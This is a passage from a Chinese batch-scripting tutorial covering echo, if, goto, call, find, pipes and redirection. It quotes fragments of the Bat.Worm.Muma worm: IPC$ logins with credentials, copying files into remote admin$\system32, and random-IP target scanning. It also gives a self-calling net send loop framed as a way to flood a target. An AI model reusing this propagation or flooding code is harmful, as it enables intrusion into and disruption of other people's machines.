C:\Progra~1\Tencent\AD\*.gif<br/>a.bat<br/><br/>为什么说这是个过时的例子呢？很简单，因为现在已经几乎没有人用带广告的QQ了，所以它几乎用不上了。但曾经它的作用是不可小窥的：删除QQ的广告，让对话框干干净净。这里用的地址是QQ的默认安装地址，默认批处理文件名为a.bat，你当然可以根据情况自行修改。在这个脚本中使用了if命令，使得它可以达到适时判断和删除广告图片的效果，你只需要不关闭命令执行后的DOS窗口，不按CTRL+C强行终止命令，它就一直监视是否有广告图片（QQ也再不断查看自己的广告是否被删除）。当然这个脚本占用你一点点内存，呵呵。<br/><br/><br/>例三，使用批处理脚本查是否中冰河。脚本内容如下：<br/><br/>@echo off<br/>netstat -a -n &gt; a.txt<br/>type a.txt | find &#34;7626&#34; &amp;&amp; echo &#34;Congratulations! You have infected GLACIER!&#34;<br/>del a.txt <br/>pause &amp; exit<br/><br/>这里利用了netstat命令，检查所有的<a href="http://www.cq-hacker.com" target="_blank">网络</a>端口状态，只需要你清楚常见木马所使用的端口，就能很快的判断出来是否被人种了冰河。然而这不是确定的，因为冰河默认的端口7626，完全可以被人修改。这里介绍的只是方法和思路。这里介绍的是方法和思路稍做改动，就变成可以检查其他木马的脚本了，再改动一下，加进去参数和端口及信息列表文件后，就变成自动检测所有木马的脚本了。脚本中还利用了组合命令&amp;&amp;和管道命令|，后面将详细介绍。<br/><br/>例四，借批处理自动清除系统垃圾，脚本如下：<br/><br/>@echo off<br/>if exist c:\windows\temp\*.* del c:\windows\temp\*.* <br/>if exist c:\windows\Tempor~1\*.* del c:\windows\Tempor~1\*.* <br/>if exist c:\windows\History\*.* del c:\windows\History\*.* <br/>if exist c:\windows\recent\*.* del c:\windows\recent\*.* <br/><br/>将以上脚本内容保存到autoexec.bat里，每次开机时就把系统垃圾给自动删除了。这里需要注意两点：一、DOS不支持长文件名，所以就出现了Tempor~1这个东东；二、可根据自己的实际情况进行改动，使其符合自己的要求。<br/><br/>批处理看起来杂乱无章，但它的逻辑性之强，绝对不比其他程序语言（如汇编）低，如果你写的脚本是一堆乱麻，虽然每一行命令都正确，但从头执行到尾后，不一定得到你想要的结果，也许是一屏幕的Bad command o&#114; fail name。<br/><br/>从这一章开始，将由浅入深的介绍批处理中常用的命令，很多常见DOS命令在批处理脚本中有这广泛的应用，它们是批处理脚本的BODY部分，但批处理比DOS更灵活多样，更具备自动化。要学好批处理，DOS一定要有比较扎实的基础。这里只讲述一些比较少用（相对来说）的DOS命令，常用命令如COPY、DIR等就不做介绍了（这些看似简单的命令实际复杂的很，我怕自己都说不清楚！）。<br/><br/>例五，先看一个实例。这是一个很有意思的脚本，一个小巧实用的好东东，把批处理“自动化”的素点体现的淋漓尽致。先介绍一下这个脚本的来历：大家都知道汇编程序（MASM）的上机过程，先要对源代码进行汇编、连接，然后再执行，而这中间有很多环节需要输入很多东西，麻烦的很（只有经历过的朋友才懂得）。如何使这个过程变的简单呢？在我们搞汇编课程设计时，我“被..”写了这个脚本，用起来很爽，呵呵。看看脚本内容：<br/><br/>@echo off <br/>::close echo<br/>cls<br/>::clean screen <br/>echo This programme is to make the MASM programme automate <br/>::display info<br/>echo Edit by CODERED <br/>::display info<br/>echo Mailto me : qqkiller***@sina.com <br/>::display info<br/>if &#34;%1&#34;==&#34;&#34; goto usage <br/>::if input without paramater goto usage<br/>if &#34;%1&#34;==&#34;/?&#34; goto usage <br/>::if paramater is &#34;/?&#34; goto usage<br/>if &#34;%1&#34;==&#34;help&#34; goto usage <br/>::if paramater is &#34;help&#34; goto usage <br/>pause <br/>::pause to see usage<br/>masm %1.asm <br/>::assemble the .asm code<br/>if errorlevel 1 pause &amp; edit %1.asm <br/>::if error pause to see error msg and edit the code<br/>link %1.obj &amp; %1 <br/>::else link the .obj file and execute the .exe file<br/>:usage <br/>::set usage<br/>echo Usage: This BAT file name [asm file name] <br/>echo Default BAT file name is START.BAT <br/>::display usage<br/><br/>先不要被这一堆的东西给吓怕了，静下心来仔细的看（回想一下第一章中第一段是怎么写的！！）。已经给出了每一行命令的解释，两个冒号后面的内容为前一行内容解释的E文（害怕E文的朋友也不用担心，都很简单，一看就懂了，实在不懂了不会查词典啊，这么懒？），在脚本执行时不显示，也不起任何作用。倒数第5行行首有一个冒号，可不是笔误哦！具体作用后面会详细讲到。此脚本中masm和link是汇编程序和连接程序，必须和edit程序以及你要编辑的源代码（当然还有这个脚本，废话！）一起在当前目录中。使用这个批处理脚本，可以最大可能的减少手工输入，整个过程中只需要按几下回车键，即可实现从汇编源代码到可执行exe文件的自动化转换，并具备智能判断功能：如果汇编时源代码出现错误（汇编不成功），则自动暂停显示错误信息，并在按任意键后自动进入编辑源代码界面；如果源代码汇编成功，则进行连接，并在连接后自动执行生成的exe文件。另外，由于批处理命令的简单姓和灵活姓，这个脚本还具备良好的可改进姓，简单进行修改就可以符合不同朋友的上机习惯。正在学汇编的朋友，一定别忘了实习一下！<br/><br/>在这个脚本中出现了如下几个命令：@、echo、::、pause、:和goto、%以及if。而这一章就将讲述这几个命令。 <br/><br/>1、@<br/><br/>这个符号大家都不陌生，email的必备符号，它怎么会跑到批处理中呢？呵呵，不是它的错，批处理本来就离不开它，要不就不完美了。它的作用是让执行窗口中不显示它后面这一行的命令本身（多么绕口的一句话！）。呵呵，通俗一点说，行首有了它的话，这一行的命令就不显示了。在例五中，首行的@echo off中，@的作用就是让脚本在执行时不显示后面的echo off部分。这下懂了吧？还是不太懂？没关系，看完echo命令简介，自然就懂了。<br/><br/>2、echo <br/><br/>中文为“反馈”、“回显”的意思。它其实是一个开关命令，就是说它只有两种状态：打开和关闭。于是就有了echo on和echo off两个命令了。直接执行echo命令将显示当前echo命令状态（off或on）执行echo off将关闭回显，它后面的所有命令都不显示命令本身，只显示执行后的结果，除非执行echo on命令。在例五中，首行的@命令和echo off命令联合起来，达到了两个目的：不显示echo off命令本身，不显示以后各行中的命令本身。的确是有点乱，但你要是练习一下的话，3分钟包会，不会的退钱！<br/><br/>echo命令的另一种用法一：可以用它来显示信息！如例五中倒数第二行，Default BAT file name is START.BAT将在脚本执行后的窗口中显示，而echo命令本身不显示（为什么？？）。<br/><br/>例六：echo命令的另一种用法二：可以直接编辑文本文件。<br/><br/>echo nbtstat -A 192.168.0.1 &gt; a.bat<br/>echo nbtstat -A 192.168.0.2 &gt;&gt; a.bat<br/>echo nbtstat -A 192.168.0.3 &gt;&gt; a.bat<br/><br/>以上脚本内容的编辑方法是，直接是命令行输入，每行一回车。最后就会在当前目录下生成一个a.bat的文件，直接执行就会得到结果。<br/><br/>3、::<br/><br/>这个命令的作用很简单，它是注释命令，在批处理脚本中和rem命令等效。它后面的内容在执行时不显示，也不起任何作用，因为它只是注释，只是增加了脚本的可读姓，和C语言中的/*…………*/类似。地球人都能看懂，就不多说了。<br/><br/>4、pause<br/><br/>中文为“暂停”的意思（看看你的workman上），我一直认为它是批处理中最简单的一个命令，单纯、实用。它的作用，是让当前程序进程暂停一下，并显示一行信息：请按任意键继续. . .。在例五中这个命令运用了两次，第一次的作用是让使用者看清楚程序信息，第二个是显示错误的汇编代码信息（其实不是它想显示，而是masm程序在显示错误信息时被暂它停了，以便让你看清楚你的源代码错在哪里）。<br/><br/>5、:和goto<br/><br/>为什么要把这两个命令联合起来介绍？因为它们是分不开的，无论少了哪个或多了哪个都会出错。goto是个跳转命令，:是一个标签。当程序运行到goto时，将自动跳转到:定义的部分去执行了（是不是分不开？）。例五中倒数第5行行首出现一个:，则程序在运行到goto时就自动跳转到:标签定义的部分执行，结果是显示脚本usage（usage就是标签名称）。不难看出，goto命令就是根据这个冒号和标签名称来寻找它该跳转的地方，它们是一一对应的关系。goto命令也经常和if命令结合使用。至于这两个命令具体用法，参照例五。<br/><br/>goto命令的另一种用法一：提前结束程序。在程序中间使用goto命令跳转到某一标签，而这一标签的内容却定义为退出。如：<br/><br/>……<br/>goto end<br/>……<br/>:end <br/><br/>这里:end在脚本最后一行！其实这个例子很弱智，后面讲了if命令和组合命令你就知道了。<br/><br/>6、%<br/><br/>这个百分号严格来说是算不上命令的，它只是批处理中的参数而已（多个%一起使用的情况除外，以后还将详细介绍），但千万别以为它只是参数就小看了它（看看例五中有多少地方用到它？），少了它批处理的功能就减少了51%了。看看例七：<br/><br/>net use \\%1\ipc$ %3 /u:&#34;%2&#34;<br/>copy 11.BAT \\%1\admin$\system32 /y<br/>copy 13.BAT \\%1\admin$\system32 /y<br/>copy ipc2.BAT \\%1\admin$\system32 /y<br/>copy NWZI.EXE \\%1\admin$\system32 /y<br/>attrib \\%1\admin$\system32\10.bat -r -h -s<br/><br/>以上代码是Bat.Worm.Muma病毒中的一部分，%1代表的IP，2%代表的username，3%代表password。执行形式为：脚本文件名 参数一 参数二 ……。假设这个脚本被保存为a.bat，则执行形式如下：a IP username password。这里IP、username、password是三个参数，缺一不可（因为程序不能正确运行，并不是因为少了参数语法就不对）这样在脚本执行过程中，脚本就自动用用你的三个参数依次（记住，是依次！也是一一对应的关系。）代换1%、2%和3%，这样就达到了灵活运用的目的（试想，如果在脚本中直接把IP、username和password都定义死，那么脚本的作用也就被固定了，但如果使用%的话，不同的参数可以达到不同的目的，是不是更灵活？）。<br/><br/>关于这个参数的使用，在后续章节中还将介绍。一定要非常熟练才行，这需要很多练习过程，需要下点狠工夫！<br/><br/>这一章就写到这里了。可能有朋友问了：怎么没介绍if命令？呵呵，不是我忘了，而是它不容易说清楚，下一章再讲了！这一章讲的这点东西，如果你是初学者，恐怕也够消化的了。记住一句话：DOS是批处理的BODY，任何一个DOS命令都可以被用在批处理脚本中去完成特定的功能。到这里，你是否已经想到了用自己肚子里的东西去写点带有自动化色彩的东东呢？很简单，就是一个DOS命令的集合而已，相信自称为天才的你已经会把计算机等级考试上机试题中的DOS部分用批处理来自动化完成了。<br/><br/>7、if <br/><br/>接上一章，接着讲if命令。总的来说，if命令是一个表示判断的命令，根据得出的每一个结果，它都可以对应一个相应的操作。关于它的三种用法，在这里分开讲。 <br/><br/>(1)、输入判断。还是用例五里面的那几句吧： <br/><br/>if &#34;%1&#34;==&#34;&#34; goto usage <br/>if &#34;%1&#34;==&#34;/?&#34; goto usage <br/>if &#34;%1&#34;==&#34;help&#34; goto usage <br/><br/>这里判断输入的参数情况，如果参数为空（无参数），则跳转到usage；如果参数为/?或help时（大家一般看一个命令的帮助，是不是输入的/?或help呢，这里这么做只是为了让这个脚本看起来更像一个真正的程序），也跳转到usage。这里还可以用否定形式来表示“不等于”，例如：if not &#34;%1&#34;==&#34;&#34; goto usage，则表示如果输入参数不为空就跳转到usage（实际中这样做就没意义了，这里介绍用法，管不了那么多了，呵呵。）是不是很简单？其实翻译成中文隋会一下就understand了。 <br/><br/>(2)、存在判断。再看例二里这句： <br/><br/>if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif <br/><br/>如果存在那些gif文件，就删除这些文件。当然还有例四，都是一样的道理。注意，这里的缩件判断是判断存在的，当然也可以判断不存在的，例如下面这句“如果不存在那些gif文件则退出脚本”：if not exist C:\Progra~1\Tencent\AD\*.gif exit。只是多一个not来表示否定而已。 <br/><br/>(3)、结果判断。还是拿例五开刀（没想到自己写的脚本，竟然用处这么大，呵呵）： <br/><br/>masm %1.asm <br/>if errorlevel 1 pause &amp; edit %1.asm <br/>link %1.obj <br/><br/>先对源代码进行汇编，如果失败则暂停显示错误信息，并在按任意键后自动进入编辑界面；否则用link程序连接生成的obj文件。这里只介绍一下和if命令有关的地方，&amp;命令后面会讲到。这种用法是先判断前一个命令执行后的返回码（也叫错误码，DOS程序在运行完后都有返回码），如果和定义的错误码符合（这里定义的错误码为1），则执行相应的操作（这里相应的操作为pause &amp; edit %1.asm部分）。 <br/><br/>另外，和其他两种用法一样，这种用法也可以表示否定。用否定的形式仍表达上面三句的意思，代码变为：<br/><br/>masm %1.asm <br/>if not errorlevel 1 link %1.obj <br/>pause &amp; edit %1.asm <br/><br/>看到本质了吧？其实只是把结果判断后所执行的命令互换了一下，“if not errorlevel 1”和“if errorlevel 0”的效果是等效的，都表示上一句masm命令执行成功（因为它是错误判断，而且返回码为0，0就表示否定，就是说这个错误不存在，就是说masm执行成功）。这里是否加not，错误码到底用0还是1，是值得考虑的两个问题，一旦搭配不成功脚本就肯定出错，所以一定要体会的很深刻才行。如何体会的深刻？练习！自己写一个脚本，然后把有not和没有not的情况，返回码为0或1的情况分别写进去执行（怎么，嫌麻烦啊？排列组合算一下才四中情况你就嫌麻烦了？后面介绍管道命令和组合命令时还有更麻烦的呢！怕了？呵呵。），这样从执行的结果中就能很清楚的看出这两种情况的区别。 <br/><br/>这种用errorlevel结果判断的用法是if命令最难的用法，但也恰恰是最有用的用法，如果你不会用errorlevel来判断返回码，则要达到相同的效果，必须用else来表示“否则”的操作，是比较麻烦的。以上代码必须变成： <br/><br/>masm %1.asm <br/>if exist %1.obj link %1.obj <br/>else pause &amp; edit %1.asm <br/><br/>关于if命令的这三种用法就say到这里，理解很简单，但应用时就不一定用的那么得心应手，主要是熟练程度的问题。可能有的朋友有点惊讶，我怎么没给出类似下面三行的用法介绍，是因为下面三行是if命令帮助里对它自身用法的解释，任何人只要一个“if /?”就能看到，我没有必要在这里多费口舌；更重要的原因，是我觉得这样介绍的不清楚，看的人不一定看的懂，所以我采用上面自己对if命令的理解来介绍。一定要注意的是，这三种用法的格式各不相同，而且也是不能改变的，但实际上可以互换（以为从本质上讲，这三种用法都是建立在判断的基础上的，哲学教我们学会透过现象看事物本质！）。有兴趣的朋友可以自己研究一下。 <br/><br/>IF [NOT] ERRORLEVEL number do command <br/>IF [NOT] string1==string2 do command <br/>IF [NOT] EXIST filename do command<br/><br/>8、call <br/><br/>学过汇编或C的朋友，肯定都知道call指令表示什么意思了，在这里它的意思其实也是一样的。在批处理脚本中，call命令用来从一个批处理脚本中调用另一个批处理脚本。看例八（默认的三个脚本文件名分别为start.bat、10.bat和ipc.bat）： <br/><br/>start.bat： <br/>…… <br/>CALL 10.BAT 0 <br/>…… <br/><br/>10.bat： <br/>…… <br/>ECHO %IPA%.%1 &gt;HFIND.TMP <br/>…… <br/>CALL ipc.bat IPCFind.txt <br/><br/>ipc.bat： <br/>for /f &#34;tokens=1,2,3 delims= &#34; %%i in (%1) do call HACK.bat %%i %%j %%k <br/><br/>有没有看出什么不对的地方？没看出来啊？没看出来就对了，其实就没有不对的地方嘛，你怎么看的出来！从上面两个脚本，你可以得到如下信息：1、脚本调用可以灵活运用，循环运用、重复运用。2、脚本调用可以使用参数！关于第一点就不多说了，聪明的你一看就应该会，这里说一下第二点。 <br/><br/>在start.bat中，10.bat后面跟了参数0，在执行时的效果，其实就是把10.bat里的参数%1用0代替。在start.bat中，ipc.bat后面跟了参数ipcfind.txt（一个文件，也可以做参数），执行时的效果，就是用ipc.bat中的每一行的三个变量（这里不懂没关系，学过for命令后就懂了），对应代换ipc.bat中的%%i、%%j和%%k。这里参数调用是非常灵活的，使用时需要好好体会。在初学期间，可以先学习只调用脚本，至于连脚本的参数一起使用的情况，在后面的学习中自然就会有比较深刻的理解，这是因为当你已经可以灵活运用批处理脚本后，如何使代码写的更精简更完美更高效就自然包括到了考虑的范围，这时候你就会发现在调用脚本时直接加入参数，可以使代码效率加倍。By the way，上面的这几个脚本，都是Bat.Worm.Muma病毒的一部分，在后面的教程里，大家将有机会见到这个病毒的真面目。<br/>那是不是说，在同一个目录下至少存在两个批处理脚本文件（只有一个你调用谁？）？呵呵，注意了，这句话错了！！只有一个照样可以调用----调用自身！看例九（默认脚本文件名a.bat）： <br/><br/>net send %1 This is a call example. <br/>call a.bat <br/><br/>这两句一结合，效果自然不怎么样，因为只有一台机器来发消息，谁怕谁啊？我给你来个礼尚往来！可如果有100台机器同时执行，而且每台机器开10和窗口同时向一个目标机器发消息的话，呵呵。这里call a.bat的作用就是调用自身，执行完前一句net send命令后再调用自身，达到了循环执行的目的。 <br/><br/>给出一个很有意思的脚本，有兴趣的朋友可以实验一下。例十（默认脚本文件名为a.bat）： <br/><br/>call a.bat <br/><br/>一定要在DOS窗口下执行，否则只会看到一个窗口一闪而过，看不到最后结果。等执行完后，当脚本被执行了1260次，别忘了想一下到底是为什么！爱情有时候跟这个脚本一样，一旦陷入死循环，最后的结果都是意想不到的。只是爱情，绝对不会等到被毫无理由的循环这么多次，也许在第三次时就出现了love is aborted的酸示。 <br/><br/>9、find <br/><br/>这是一个搜索命令，用来在文件中搜索特定字符串，通常也作为条件判断的铺垫程序（我怎么突然想起了这四个字？）。这个命令单独使用的情况在批处理中是比较少见的，因为没什么实际意义。还是借例三来说明： <br/><br/>@echo off <br/>netstat -a -n &gt; a.txt <br/>type a.txt | find &#34;7626&#34; &amp;&amp; echo &#34;Congratulations! You have infected GLACIER!&#34; <br/>del a.txt <br/>pause &amp; exit <br/><br/>先用netstat命令检查是否有冰河默认的端口7626在活动，并把结果保存到a.txt中。然后使用type命令列出a.txt中的内容，再在列出的内容中搜索字符串“7626” ，发现有的话则提示中了冰河，否则退出。看，find命令其实就这么简单，但有一点必须要注意到：如果不使用type命令列出a.txt中的内容，而是直接使用find命令在a.txt中找“7626”（find a.txt &#34;7626&#34; &amp;&amp; echo &#34;Congratulations! You have infected GLACIER!&#34;），就必须得给出这个a.txt的绝对路径（我试过了，find并没有默认路径就是当前路径的功能，必须手动指定。也许是我错了，欢迎指正）。因为在find命令的帮助里有这么一句话：如果没有指定路径，find将搜索键入的或者由另一个命令产生的文字。这里的“另一个命令”自然就指的type命令了。 <br/><br/>至于find命令的其他几个参数如v、n、i等，有兴趣的朋友自己去研究吧，这已经属于DOS学习的内容了，这里就不做介绍。关于find命令和其他命令的一些更精妙的用法（有些简直令人叫绝），后续的教程中将介绍，希望关注。 <br/><br/>10、for、set、shift <br/><br/>为什么把这三个命令放到一起来讲？原因除了我说明外，恐怕谁也想不到！很简单的一句话：其实我也不太懂！是的，对于这两个命令，我是从研究Bat.Worm.Muma病毒开始学习的，时间过去了不少，但还是没完全搞明白，我怕讲出来连自己都看不懂，我更怕不小心讲错了成了罪人。所以我给出一个脚本去告诉你，如何让这两个命令给自己留一个初步的印象，其实也就是这两个命令的入门，而并不是说如何领会这两个命令。因为要领会如此精妙的两个命令（特别是for）谈何容易！也许你会表扬我说我诚实、不懂就不懂；也许你会骂我，让我既然不懂就赶紧滚蛋，不要在这里丢人显眼；也许你还会说一些别的这样那样好听或不好听的话，都随便你了，即使我不同意你说的话，我也会誓死捍卫你说话的权利。看例十一： <br/><br/>@echo off <br/>for /? &gt; for.txt <br/>set /? &gt; set.txt <br/>shift /? &gt;shift.txt <br/>exit <br/><br/>执行后在当前路径下就生成for.txt、set.txt和shift.txt三个文件，里面分别记录了for命令、set命令和shift命令的帮助信息。地球人都能看懂，我就不多说了。我在网上曾经找了很长时间这三个命令的教程，但都不理想，基本都是照搬的帮助信息。我想在自己完全掌握了这两个命令后，一定要写一篇用自己的文字总结出来的for、set和shift教程（关于shift命令，后面介绍批处理的参数时还将涉及到），一定会的，这是我的心愿之一！需要注意的一点是，这三个命令的帮助里 ，介绍的都比较死板，虽然也举了一些例子，但这是远远不够的。要掌握这两个命令，最需要的就是耐心！没写错，就是耐心。光是认真看完它们的帮助文字就已经需要足够的耐心了，要进一步练习领会这两个命令，难道不需要更大的耐心？实战练习的机会我会留给你的，关键还是那句话，看你有没有耐心去研究了。看看例十二： <br/><br/>START.BAT： <br/>CALL MUMA.BAT <br/>SET IPA=192.168 <br/>CALL 10.BAT 0 <br/>:NEARAGAIN <br/>netstat -n|find &#34;:&#34; &gt;A.TMP <br/>FOR /F &#34;tokens=7,8,9,10,12 delims=.: &#34; %%I IN (A.TMP) DO SET NUM1=%%I&amp;&amp; SET NUM2=%%J&amp;&amp; SET NUM3=%%K&amp;&amp; SET NUM4=%%L&amp;&amp; SET NUM5=%%M&amp;&amp; CALL NEAR.BAT <br/>:START <br/>CALL RANDOM.BAT <br/>IF &#34;%NUM1%&#34;==&#34;255&#34; GOTO NEARAGAIN <br/>IF &#34;%NUM1%&#34;==&#34;192&#34; GOTO NEARAGAIN <br/>IF &#34;%NUM1%&#34;==&#34;127&#34; GOTO NEARAGAIN <br/>IF &#34;%NUM2%&#34;==&#34;255&#34; GOTO NEARAGAIN <br/>IF &#34;%NUM3%&#34;==&#34;255&#34; GOTO NEARAGAIN <br/>IF &#34;%NUM4%&#34;==&#34;255&#34; GOTO NEARAGAIN <br/>SET IPA=%NUM1%.%NUM2% <br/>ECHO START &gt; A.LOG <br/>PING %IPA%.%NUM3%.1&gt;B.TMP <br/>PING %IPA%.%NUM3%.%NUM4%&gt;&gt;B.TMP <br/>FIND /C /I &#34;from&#34; B.TMP <br/>IF ERRORLEVEL 1 GOTO START <br/>CALL 10.BAT %NUM3% <br/>DEL A.LOG <br/>GOTO START<br/><br/>这是Bat.Worm.Muma病毒的起始脚本，设置了病毒运行的环境变量。是不是看的头都大了？又忘了写在第一章第一段的那句话（静下心来！），你应该能体会到学习这两个命令所需要的耐心了吧。就如同去爱一个人，你得学会宽容，打不得骂不得，用你宽大的胸怀去包容她的一切，即使你发现爱她的过程如看上面代码的过程一样让你头大，但你还是得爱下去----爱需要理由吗？不需要吗？需要吗？不需要吗……等到风平浪静后，最直观的收获就是，你的耐心变的前所未有的充足，面对她的复杂和善变，你自己会处变不惊，以自己的方式去从容应付曾经应付不了的场面，即使到最后一身伤痕，也会感慨曾经的举动有多么伟大。 <br/><br/>不得不再次重申一遍，各种DOS命令是批处理的BODY（我实在找不出一个更合适的词来形容他们之间的关系），学好DOS命令是学好批处理的前提。其他DOS命令如copy、dir、del、type、path、break、start等内部命令，以及ping、net、cmd、at、sort、attrib、fc、find等外部命令，在批处理里的应用非常广泛。这篇教程的作用，是教你认识批处理，以及如何利用DOS命令组合出来一个完美的批处理脚本，去让它自动完成你想要它做的事情。而灵活自如的编辑一个批处理脚本是建立在熟练掌握DOS命令的基础上的，这已经超出了本文的范畴，在此就不赘述了。 <br/><br/>可以说，批处理脚本中最重要的几个命令我都没有给出如echo或if那样比较详细的介绍，原因我已经说了，因为我也是个菜，我也不太懂----但我正在学！你呢？今天又去了一趟图书馆，淘金一样发现了一本叫《DOS批文件》的东东，藏在一个角落里落满了灰，五本摞一起就跟砖头一样厚了。大概翻了一下，里面介绍了很多比较底层和基础的东西，虽然从思路上讲，已经有点time out了，很多东西已经基本没有利用的价值（这就是信息时代的更新速度），但还是很值得看的。于是打算下午淘过来，放假回去了再好好研究一番，连同那几个不熟悉的命令一起搞熟了，再续写这篇教程。我始终坚信，没有最好只有更好。<br/><br/>下面从管道命令讲起。常用的管道命令有以下这些：|、&gt;、&gt;&gt;<br/><br/>11、|<br/><br/>这个命令恐怕大家不是很陌生，经常操作DOS的朋友都应该知道，当我们查看一个命令的帮助时，如果帮助信息比较长，一屏幕显示不完时DOS并不给我们时间让我们看完一屏幕再翻到另一屏幕，而是直接显示到帮助信息的最后。如在提示符下输入help回车时，就会看到当前DOS版本所支持的所有非隐含命令，但你只能看到最后的那些命令，前面的早就一闪而过了，如何解决这个问题？看例十三：<br/><br/>help | more<br/><br/>回车后会发现显示满一屏幕后就自动暂停，等候继续显示其他信息。当按写回车时，变成一个一个的出现；按下空格键时一屏幕一屏幕显示，直到全部显示完为止；按其他键自动停止返回DOS。<br/><br/>为什么会出现上述现象？答案很简单，这里结合了管道命令|和DOS命令more来共同达到目的的。这里先简单介绍一下help命令和more命令，对理解|命令的用法有很大帮助。<br/><br/>11.1、help命令。其实这个命令是不需要多说的，但在上述例子中help命令的用法比较特殊，直接在DOS提示符下输入help命令，结果是让DOS显示其所支持的所有非隐含命令，而在其他地方用help命令，如输入net help回车，则是显示net命令的帮助信息。<br/><br/>11.2、more命令。可能很多朋友以前就没有接触过这个命令，这个命令在Linux下的用处非常广泛，也是管道命令之一。大家可以找一篇比较长的文章（a.txt）在DOS提示符下输入如下两个命令去比较一下差别：more a.txt和type a.txt。利用more命令，可以达到逐屏或逐行显示输出的效果，而type命令只能一次把输出显示完，最后的结果就是只能看到末尾的部分。在例十三里，more命令的作用就是让输出的信息逐屏或逐行显示。<br/>看到这里，你是否已经能隐约感受到了|命令的作用了？没错，它的作用，就是把前一命令的输出当后一命令的输入来用的。在例十三里，前一命令的输出，就是help命令执行后显示的DOS所支持的所有非隐含命令，而这个结果刚好做了后一命令more的输入。所以例十三和下面的例十四是等效的：<br/><br/>help &gt; a.txt<br/>more a.txt<br/>del a.txt<br/><br/>这里利用另一管道命令&gt;生成了一个a.txt文件作为中间环节，在用more命令查看a.txt文件后再删除a.txt文件（例十三的所有操作是在内存中进行的，不生成文件）。可以看出，正确使用管道命令|可以带来事半功倍的效果。<br/><br/>结合例十三和例十四，以及前面的例九再体会一遍：|命令的作用，就是让前一命令的输出当做后一命令的输入。<br/><br/>12、&gt;、&gt;&gt;<br/><br/>这两个命令的效果从本质上来说都是一样的，他们都是输出重定向命令，说的通俗一点，就是把前面命令的输出写入到一个文件中。这两个命令的唯一区别是，&gt;会清除掉原有文件中的内容后把新的内容写入原文件，而&gt;&gt;只会另起一行追加新的内容到原文件中，而不会改动其中的原有内容。例十五：<br/><br/>echo @echo off &gt; a.bat <br/>echo echo This is a pipeline command example. &gt;&gt; a.bat<br/>echo echo It is very easy? &gt;&gt; a.bat<br/>echo echo Believe your self! &gt;&gt; a.bat<br/>echo pause &gt;&gt; a.bat<br/>echo exit &gt;&gt; a.bat<br/><br/>依次在DOS提示符下输入以上各行命令，一行一个回车，将在当前目录下生成一个a.bat文件，里面的内容如下：<br/><br/>@echo off <br/>echo This is a pipeline command example.<br/>echo It is very easy?<br/>echo Believe your self!<br/>pause<br/>exit<br/><br/>看到这里，你得到了多少信息？1、可以直接在DOS提示符下利用echo命令的写入功能编辑一个文本，而不需要专门的文本编辑工具；2、管道命令&gt;和&gt;&gt;的区别如上所述。如果这里只用&gt;命令来完成上面操作，最后也会生成一个a.bat，但里面的内容就只剩下最后一行exit了。所以&gt;和&gt;&gt;一般都联合起来用，除非你重定向的输出只有一行，那么就可以只用&gt;了。结合例一再仔细体会输出重定向管道命令&gt;和&gt;&gt;的用法。<br/><br/>13、&lt;、&gt;&amp;、&lt;&amp;<br/><br/>这三个命令也是管道命令，但它们一般不常用，你只需要知道一下就ok了，当然如果想仔细研究的话，可以自己查一下资料。<br/><br/>&lt;，输入重定向命令，从文件中读入命令输入，而不是从键盘中读入。 <br/>&gt;&amp;，将一个句柄的输出写入到另一个句柄的输入中。 <br/>&lt;&amp;，刚好和&gt;&amp;相反，从一个句柄读取输入并将其写入到另一个句柄输出中。<br/><br/>关于这三个管道命令的举例，在后面批处理脚本的精妙应用中还将涉及到。<br/><br/>下面介绍组合命令：&amp;、&amp;&amp;、||<br/><br/>组合命令，顾名思义，就是可以把多个命令组合起来当一个命令来执行。这在批处理脚本里是允许的，而且用的非常广泛。它的格式很简单----既然现在已经成了一个文件了，那么这多个命令就要用这些组合命令连接起来放在同一行----因为批处理认行不认命令数目。组合命令的作用，就如同给爱人陪不是，说一句是说，说十句也是说，不一次把好话都说了出来，效果可能会好些----当然得排除一种特殊情况：这些话是否有先后顺序，有些话是否可以同时说。在批处理脚本里也一样，有些时候某些命令是不能同时执行的，后面给你说。<br/><br/>14、&amp;<br/><br/>这可以说是最简单的一个组合命令了，它的作用是用来连接n个DOS命令，并把这些命令按顺序执行，而不管是否有命令执行失败。例十六：<br/><br/>copy a.txt b.txt /y &amp; del a.txt <br/><br/>其实这句和move a.txt b.txt的效果是一样的，只不过前者是分了两步来进行的（在后面还将涉及到具体使用哪种方法的问题）。这个命令很简单，就不多费口舌了，唯一需要注意的一点是，这里&amp;两边的命令是有执行顺序的，从前往后执行。<br/><br/>15、&amp;&amp;<br/><br/>切记，这里介绍的几个命令都是组合命令，所以他们前后都必须都有其他命令（要不如何组合？）。这个命令也不例外，它可以把它前后两个命令组合起来当一个命令来用，与&amp;命令不同之处在于，它在从前往后依次执行被它连接的几个命令时会自动判断是否有某个命令执行出错，一旦发现出错后将不继续执行后面剩下的命令。这就为我们自动化完成一些任务提供了方便。例十七：<br/><br/>dir 文件://1%/www/user.mdb &amp;&amp; copy 文件://1%/www/user.mdb e:\backup\www<br/><br/>如果远程主机存在user.mdb，则copy到本地e:\backup\www，如果不存在当然就不执行copy了。这句对搞网管的朋友是否有点用呢？呵呵。其实它和下面这句的作用是一样的：<br/><br/>if exist 文件://1%/www/user.mdb copy 文件://1%/www/user.mdb e:\backup\www<br/><br/>至于你喜欢用哪个就随便了，我没办法判断dir和if两个命令哪一个执行效率更高，所以不知道用哪个更好，呵呵。<br/><br/>你是否还记得“有些命令是不能同时执行的”？你是否相信这句话？当然得相信，不信就给你出道题：把C盘和D盘的文件和文件夹列出到a.txt文件中。你将如何来搞定这道题？有朋友说，这还不是很easy的问题吗？同时执行两个dir，然后把得到的结果&gt;到a.txt里就ok了嘛，看例十八：<br/><br/>dir c:\ &amp;&amp; dir d:\ &gt; a.txt<br/><br/>仔细研究一下这句执行后的结果，看看是否能达到题目的要求！错了！这样执行后a.txt里只有D盘的信息！为什么？就因为这里&amp;&amp;命令和&gt;命令不能同时出现一个句子里（批处理把一行看成一个句子）！！组合命令&amp;&amp;的优先级没有管道命令&gt;的优先级高（自己总结的，不妥的地方请指正）！所以这句在执行时将本分成这两部分：dir c:\和dir d:\ &gt; a.txt，而并不是如你想的这两部分：dir c:\ &amp;&amp; dir d:\和&gt; a.txt。要使用组合命令&amp;&amp;达到题目的要求，必须得这么写：<br/><br/>dir c:\ &gt; a.txt &amp;&amp; dir d:\ &gt;&gt; a.txt<br/><br/>这样，依据优先级高低，DOS将把这句话分成以下两部分：dir c:\ &gt; a.txt和dir d:\ &gt;&gt; 